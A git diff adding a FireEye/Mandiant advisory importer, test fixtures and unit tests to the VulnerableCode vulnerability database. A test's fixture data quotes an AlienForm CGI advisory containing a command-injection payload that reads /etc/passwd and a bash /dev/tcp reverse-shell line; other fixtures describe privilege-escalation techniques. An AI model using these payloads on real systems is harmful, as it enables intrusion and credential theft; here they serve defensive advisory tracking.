diff --git a/vulnerabilities/importers/__init__.py b/vulnerabilities/importers/__init__.py index e5f8c40f3..9710d8666 100644 --- a/vulnerabilities/importers/__init__.py +++ b/vulnerabilities/importers/__init__.py @@ -11,6 +11,7 @@ from vulnerabilities.importers import archlinux from vulnerabilities.importers import debian from vulnerabilities.importers import debian_oval +from vulnerabilities.importers import fireeye from vulnerabilities.importers import github from vulnerabilities.importers import gitlab from vulnerabilities.importers import nginx @@ -35,6 +36,7 @@ archlinux.ArchlinuxImporter, ubuntu.UbuntuImporter, debian_oval.DebianOvalImporter, + fireeye.FireyeImporter, ] IMPORTERS_REGISTRY = {x.qualified_name: x for x in IMPORTERS_REGISTRY} diff --git a/vulnerabilities/importers/fireeye.py b/vulnerabilities/importers/fireeye.py new file mode 100644 index 000000000..b143991d0 --- /dev/null +++ b/vulnerabilities/importers/fireeye.py @@ -0,0 +1,139 @@ +# +# Copyright (c) nexB Inc. and others. All rights reserved. +# VulnerableCode is a trademark of nexB Inc. +# SPDX-License-Identifier: Apache-2.0 +# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. +# See https://github.com/nexB/vulnerablecode for support or download. +# See https://aboutcode.org for more information about nexB OSS projects. +# +import os +import re +from typing import Iterable + +from vulnerabilities.importer import AdvisoryData +from vulnerabilities.importer import GitImporter +from vulnerabilities.importer import Reference +from vulnerabilities.utils import build_description +from vulnerabilities.utils import dedupe + + +class FireyeImporter(GitImporter): + spdx_license_expression = "CC-BY-SA-4.0 AND MIT" + license_url = "https://github.com/mandiant/Vulnerability-Disclosures/blob/master/README.md" + + def __init__(self): + super().__init__(repo_url="git+https://github.com/mandiant/Vulnerability-Disclosures") + + def advisory_data(self, _keep_clone=True) -> Iterable[AdvisoryData]: + self.clone() + for root_dir in os.listdir(self.vcs_response.dest_dir): + if root_dir in ("README.md", ".git"): + continue + + for root, _, files in os.walk(os.path.join(self.vcs_response.dest_dir, root_dir)): + for file in files: + if file.endswith((".md", ".MD")): + with open(os.path.join(root, file), "r", encoding="ISO-8859-1") as f: + yield parse_advisory_data(f.read()) + + +def parse_advisory_data(raw_data) -> AdvisoryData: + """ + Parse a fireeye advisory repo and return an AdvisoryData or None. + These files are in Markdown format. + """ + raw_data = raw_data.replace("\n\n", "\n") + md_list = raw_data.split("\n") + md_dict = md_list_to_dict(md_list) + + database_id = md_list[0][1::] + summary = md_dict.get(database_id[1::]) or [] + description = md_dict.get("## Description") or [] + impact = md_dict.get("## Impact") # not used but can be to get severity + exploit_ability = md_dict.get("## Exploitability") # not used but can be to get severity + cve_ref = md_dict.get("## CVE Reference") or [] + tech_details = md_dict.get("## Technical Details") # not used + resolution = md_dict.get("## Resolution") # not used + disc_credits = md_dict.get("## Discovery Credits") # not used + disc_timeline = md_dict.get("## Disclosure Timeline") # not used + references = md_dict.get("## References") or [] + + return AdvisoryData( + aliases=get_aliases(database_id, cve_ref), + summary=build_description(" ".join(summary), " ".join(description)), + references=get_references(references), + # date_published=disc_timeline, + ) + + +def get_references(references): + """ + Args: + references: + a list of references ( urls ) in md format + Returns: + a list of Reference + >>> get_references(["- http://1-4a.com/cgi-bin/alienform/af.cgi"]) + [Reference(reference_id='', url='http://1-4a.com/cgi-bin/alienform/af.cgi', severities=[])] + >>> get_references(["- [Mitre CVE-2021-42712](https://www.cve.org/CVERecord?id=CVE-2021-42712)"]) + [Reference(reference_id='', url='https://www.cve.org/CVERecord?id=CVE-2021-42712', severities=[])] + """ + urls = [] + for ref in references: + if ref.startswith("- "): + urls.append(matcher_url(ref[2::])) + else: + urls.append(matcher_url(ref)) + + return [Reference(url=url) for url in urls if url] + + +def matcher_url(ref) -> str: + """ + Args: + ref: reference url in Markdown format + Returns: + url of reference markup + """ + markup_regex = "\[([^\[]+)]\(\s*(http[s]?://.+)\s*\)" + matched_markup = re.findall(markup_regex, ref) + if matched_markup: + return matched_markup[0][1] + else: + return ref + + +def get_aliases(database_id, cve_ref) -> []: + """ + Args: + database_id: string of database id like + cve_ref: list of CVEs + + Returns: + a list of aliases + >>> get_aliases("MNDT-2021-0012",["CVE-2021-44207"]) + ['CVE-2021-44207', 'MNDT-2021-0012'] + """ + cve_ref.append(database_id) + return dedupe(cve_ref) + + +def md_list_to_dict(md_list): + """ + Args: + md_list: a md file splited by \n + Returns: + a dictionary of md_list + >>> md_list_to_dict(["# Header","hello" , "hello again" ,"# Header2"]) + {'# Header': ['hello', 'hello again'], '# Header2': []} + + """ + md_dict = {} + md_key = "" + for md_line in md_list: + if md_line.startswith("#"): + md_dict[md_line] = [] + md_key = md_line + else: + md_dict[md_key].append(md_line) + return md_dict diff --git a/vulnerabilities/tests/test_data/fireeye/fireeye_test1.md b/vulnerabilities/tests/test_data/fireeye/fireeye_test1.md new file mode 100644 index 000000000..3f990e06d --- /dev/null +++ b/vulnerabilities/tests/test_data/fireeye/fireeye_test1.md @@ -0,0 +1,41 @@ +# FEYE-2019-0002 +## Description +GPU-Z.sys, part of the GPU-Z package from TechPowerUp, exposes the wrmsr instruction to user-mode callers without properly validating the target Model Specific Register (MSR). This can result in arbitrary unsigned code being executed in Ring 0. + +## Impact +High - Arbitrary Ring 0 code execution + +## Exploitability +Medium/Low - Driver must be loaded or attacker will require admin rights. Newer versions require admin callers. + +## CVE Reference +CVE-2019-7245 + +## Technical Details +IOCTL 0x8000644C in the GPU-Z driver instructs the binary to modify a Model Specific Register (MSR) on the target system. These registers control a wide variety of system functionality and can be used to monitor CPU temperature, track branches in code, tweak voltages, etc. MSRs are also responsible for setting the kernel mode function responsible for handling system calls. + +The driver does not appropriately filter access to MSRs, allowing an attacker to overwrite the system call handler and run unsigned code in Ring 0. Allowing access to any of the following MSRs can result in arbitrary Ring 0 code being executed: + +* 0xC0000081 +* 0xC0000082 +* 0xC0000083 +* 0x174 +* 0x175 +* 0x176 + +For exploitation details see the INFILTRATE presentation in the references. + +## Resolution +This issue is fixed in v2.23.0: [https://www.techpowerup.com/257995/techpowerup-releases-gpu-z-v2-23-0](https://www.techpowerup.com/257995/techpowerup-releases-gpu-z-v2-23-0) + +## Discovery Credits +Ryan Warns + +## Disclosure Timeline +- 2 February 2019 - Contacted vendor +- 2 February 2019 - Vendor response, confirmation of issue +- 25 July 2019 - Vendor confirmed fix +- 6 August 2019 - Fixed version released + +## References +[Exploitation Details](https://downloads.immunityinc.com/infiltrate2019-slidepacks/ryan-warns-timothy-harrison-device-driver-debauchery-msr-madness/MSR_Madness_v2.9_INFILTRATE.pptx) \ No newline at end of file diff --git a/vulnerabilities/tests/test_data/fireeye/fireeye_test1_expect.json b/vulnerabilities/tests/test_data/fireeye/fireeye_test1_expect.json new file mode 100644 index 000000000..3c79490a6 --- /dev/null +++ b/vulnerabilities/tests/test_data/fireeye/fireeye_test1_expect.json @@ -0,0 +1,9 @@ +{ + "aliases": [ + "CVE-2019-7245 ", " FEYE-2019-0002" + ], + "summary": "GPU-Z.sys, part of the GPU-Z package from TechPowerUp, exposes the wrmsr instruction to user-mode callers without properly validating the target Model Specific Register (MSR). This can result in arbitrary unsigned code being executed in Ring 0.", + "affected_packages": [], + "references": [], + "date_published":"" +} \ No newline at end of file diff --git a/vulnerabilities/tests/test_data/fireeye/fireeye_test2.md b/vulnerabilities/tests/test_data/fireeye/fireeye_test2.md new file mode 100644 index 000000000..3f9d18e2e --- /dev/null +++ b/vulnerabilities/tests/test_data/fireeye/fireeye_test2.md @@ -0,0 +1,41 @@ +# FEYE-2020-0020 +## Description + +Digi International's ConnectPort X2e is susceptible to a local privilege escalation vulnerable to the privileged user `root`. + +## Impact +High - An attacker with remote network access to a X2e could remotely compromise the device. This could be used to install malware, modify system behavior, or stage a more serious attack. + +## Exploitability +Medium - An attacker would need to read and write files as the system user python. On production devices, this can be accomplished remotely by establishing an SSH connection or access via a TTY. + +## CVE Reference +CVE-2020-12878 + +## Technical Details +The ConnectPort X2e performed filesystem actions as the privileged system user root on files controllable by the less-privileged user python. A malicious attacker could use this to escalate privileges from the local user `python` user to `root`. + +Mandiant determined that the user `root` executed the file `/etc/init.d/S50dropbear.sh` during normal system boot. The shell script performed a `chown` on the directory `/WEB/python/.ssh/`, which was writable as the user `python`. + +To exploit this, Mandiant used Linux symbolic links to force the system to set the ownership of the directory `/etc/init.d/` to `python:python`. Mandiant could then create a malicious `init` script in the `/etc/init.d/` directory that would be executed by `root` on future system boots. + +## Resolution +Digi International has fixed the reported vulnerability in [version 3.2.30.6](https://ftp1.digi.com/support/firmware/93001304_D.pdf) (May 2020) of the ConnectPort X2e software. + +## Discovery Credits +- Jake Valletta, FireEye Mandiant +- Sam Sabetan, FireEye Mandiant + +## Disclosure Timeline + +- 13 February 2020 - Issue reported to vendor +- 11 March 2020 - Issue confirmed by Digi International +- 14 May 2020 - CVE reserved with MITRE +- May 2020 - Digi Releases Patch +- 17 February 2021 - FireEye Mandiant advisory published + +## References + +- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12878 +- https://www.fireeye.com/blog/threat-research/2021/02/solarcity-exploitation-of-x2e-iot-device-part-one.html +- https://www.fireeye.com/blog/threat-research/2021/02/solarcity-exploitation-of-x2e-iot-device-part-two.html \ No newline at end of file diff --git a/vulnerabilities/tests/test_data/fireeye/fireeye_test2_expect.json b/vulnerabilities/tests/test_data/fireeye/fireeye_test2_expect.json new file mode 100644 index 000000000..703d01a9b --- /dev/null +++ b/vulnerabilities/tests/test_data/fireeye/fireeye_test2_expect.json @@ -0,0 +1,13 @@ +{ + "aliases": ["CVE-2020-12878", " FEYE-2020-0020"], + "summary": "Digi International's ConnectPort X2e is susceptible to a local privilege escalation vulnerable to the privileged user `root`.", + "affected_packages": [], + "references": [ + { + "reference_id": "", "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12878", "severities": []}, + { + "reference_id": "", "url": "https://www.fireeye.com/blog/threat-research/2021/02/solarcity-exploitation-of-x2e-iot-device-part-one.html", "severities": []}, + { + "reference_id": "", "url": "https://www.fireeye.com/blog/threat-research/2021/02/solarcity-exploitation-of-x2e-iot-device-part-two.html", "severities": []}], + "date_published":"" +} \ No newline at end of file diff --git a/vulnerabilities/tests/test_fireeye.py b/vulnerabilities/tests/test_fireeye.py new file mode 100644 index 000000000..bf86009ab --- /dev/null +++ b/vulnerabilities/tests/test_fireeye.py @@ -0,0 +1,170 @@ +# +# Copyright (c) nexB Inc. and others. All rights reserved. +# VulnerableCode is a trademark of nexB Inc. +# SPDX-License-Identifier: Apache-2.0 +# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. +# See https://github.com/nexB/vulnerablecode for support or download. +# See https://aboutcode.org for more information about nexB OSS projects. +# +import json +import os +from unittest import TestCase + +from vulnerabilities.importer import Reference +from vulnerabilities.importers.fireeye import get_aliases +from vulnerabilities.importers.fireeye import get_references +from vulnerabilities.importers.fireeye import md_list_to_dict +from vulnerabilities.importers.fireeye import parse_advisory_data +from vulnerabilities.tests import util_tests + +BASE_DIR = os.path.dirname(os.path.abspath(__file__)) +TEST_DATA = os.path.join(BASE_DIR, "test_data/fireeye") + + +class TestFireeyeImporter(TestCase): + def test_md_list_to_dict(self): + md_list = [ + "# FEYE-2020-0004", + "## Description", + "AlienForm v2.0.2 CGI script is vulnerable to remote code execution leading to server compromise by attackers. This vulnerability could be a derivative or unexplored area of CVE-2002-0934.", + "## Impact", + "High - Successful exploitation of this vulnerability results in the attacker remotely executing code on the affected systems. Remote code execution could lead to complete system compromise and the ability to gain access to user credentials and/or move laterally throughout the compromised environment.", + "## Exploitability", + "High - An attacker needs only to identify the affected CGI script is present on the server; a simple directory brute force can reveal the presence of the vulnerable CGI file.", + "## CVE Reference", + "CVE-2020-10948", + "## Technical Details", + "Mandiant discovered the affected server is vulnerable to command injection in CGI argument parameters", + "Affected URL:", + "http:////cgibin/af2.cgi", + "Example attack payload:", + "POST //cgibin/af2.cgi HTTP/1.1
", + "Host:
", + "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
", + "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
", + "Accept-Language: en-US,en;q=0.5
", + "Accept-Encoding: gzip, deflate
", + "Connection: close
", + "Upgrade-Insecure-Requests: 1
", + "Content-Length: 38
", + "_browser_out=%7Ccat%20/etc/passwd%7C", + "Reverse Shell Example:", + "_browser_out=%7Cbash+-i+>%26+/dev/tcp//8080+0>%261%7C", + "## Resolution", + "Defunct software no longer support by vendor; not fixed. FireEye Mandiant recommends disabling the affected CGI Script and to avoid using legacy CGI scripts in environments which do not have security support.", + "## Discovery Credits", + "Nikhith Tummalapalli, Mandiant FireEye", + "## Disclosure Timeline", + "- 19 Dec 2019: Attempted to email Jon Hedley, jon(at)cgi.tj, to report bug; email was bounced back", + "- 19 Dec 2019: Searched for other contacts for Jon Hedley and Alienform via Linked-In and Twitter...no resulting contact information", + "- 19 Dec 2019: Determined company was defunct and software is no longer maintained. The primary search results online were related to CVE-2002-0934, to which this bug is related and/or induced by its fix.", + "- 24 Mar 2020: Searched again online for new updates to AlienForm contact information; produced same results as previous.", + "- 24 Mar 2020: Reserved CVE with Mitre after 90 days", + "- 1 April 2020: Posted and notified Mitre of reference", + "## References ", + "- http://1-4a.com/cgi-bin/alienform/af.cgi", + "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934", + "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948", + ] + assert md_list_to_dict(md_list) == { + "# FEYE-2020-0004": [], + "## Description": [ + "AlienForm v2.0.2 CGI script is vulnerable to remote code execution leading to server compromise by attackers. This vulnerability could be a derivative or unexplored area of CVE-2002-0934." + ], + "## Impact": [ + "High - Successful exploitation of this vulnerability results in the attacker remotely executing code on the affected systems. Remote code execution could lead to complete system compromise and the ability to gain access to user credentials and/or move laterally throughout the compromised environment." + ], + "## Exploitability": [ + "High - An attacker needs only to identify the affected CGI script is present on the server; a simple directory brute force can reveal the presence of the vulnerable CGI file." + ], + "## CVE Reference": ["CVE-2020-10948"], + "## Technical Details": [ + "Mandiant discovered the affected server is vulnerable to command injection in CGI argument parameters", + "Affected URL:", + "http:////cgibin/af2.cgi", + "Example attack payload:", + "POST //cgibin/af2.cgi HTTP/1.1
", + "Host:
", + "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
", + "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
", + "Accept-Language: en-US,en;q=0.5
", + "Accept-Encoding: gzip, deflate
", + "Connection: close
", + "Upgrade-Insecure-Requests: 1
", + "Content-Length: 38
", + "_browser_out=%7Ccat%20/etc/passwd%7C", + "Reverse Shell Example:", + "_browser_out=%7Cbash+-i+>%26+/dev/tcp//8080+0>%261%7C", + ], + "## Resolution": [ + "Defunct software no longer support by vendor; not fixed. FireEye Mandiant recommends disabling the affected CGI Script and to avoid using legacy CGI scripts in environments which do not have security support." + ], + "## Discovery Credits": ["Nikhith Tummalapalli, Mandiant FireEye"], + "## Disclosure Timeline": [ + "- 19 Dec 2019: Attempted to email Jon Hedley, jon(at)cgi.tj, to report bug; email was bounced back", + "- 19 Dec 2019: Searched for other contacts for Jon Hedley and Alienform via Linked-In and Twitter...no resulting contact information", + "- 19 Dec 2019: Determined company was defunct and software is no longer maintained. The primary search results online were related to CVE-2002-0934, to which this bug is related and/or induced by its fix.", + "- 24 Mar 2020: Searched again online for new updates to AlienForm contact information; produced same results as previous.", + "- 24 Mar 2020: Reserved CVE with Mitre after 90 days", + "- 1 April 2020: Posted and notified Mitre of reference", + ], + "## References ": [ + "- http://1-4a.com/cgi-bin/alienform/af.cgi", + "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934", + "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948", + ], + } + + def test_get_ref(self): + assert get_references( + [ + "- http://1-4a.com/cgi-bin/alienform/af.cgi", + "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934", + "- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948", + ] + ) == [ + Reference(url="http://1-4a.com/cgi-bin/alienform/af.cgi"), + Reference(url="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934"), + Reference(url="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10948"), + ] + assert get_references( + [ + "- [Mitre CVE-2021-42712](https://www.cve.org/CVERecord?id=CVE-2021-42712)", + ] + ) == [ + Reference(url="https://www.cve.org/CVERecord?id=CVE-2021-42712"), + ] + assert get_references( + [ + "[Mitre CVE-2021-42712](https://www.cve.org/CVERecord?id=CVE-2021-42712)", + ] + ) == [ + Reference(url="https://www.cve.org/CVERecord?id=CVE-2021-42712"), + ] + assert get_references([]) == [] + + def test_get_aliases(self): + assert get_aliases("MNDT-2021-0012", ["CVE-2021-44207"]) == [ + "CVE-2021-44207", + "MNDT-2021-0012", + ] + assert get_aliases("MNDT-2021-0012", []) == ["MNDT-2021-0012"] + + def test_parse_advisory_data_1(self): + with open(os.path.join(TEST_DATA, "fireeye_test1.md")) as f: + mock_response = f.read() + expected_file = os.path.join(TEST_DATA, f"fireeye_test1_expect.json") + + imported_data = parse_advisory_data(mock_response) + result = imported_data.to_dict() + + util_tests.check_results_against_json(result, expected_file) + + def test_parse_advisory_data_2(self): + with open(os.path.join(TEST_DATA, "fireeye_test2.md")) as f: + mock_response = f.read() + expected_file = os.path.join(TEST_DATA, f"fireeye_test2_expect.json") + imported_data = parse_advisory_data(mock_response) + result = imported_data.to_dict() + + util_tests.check_results_against_json(result, expected_file)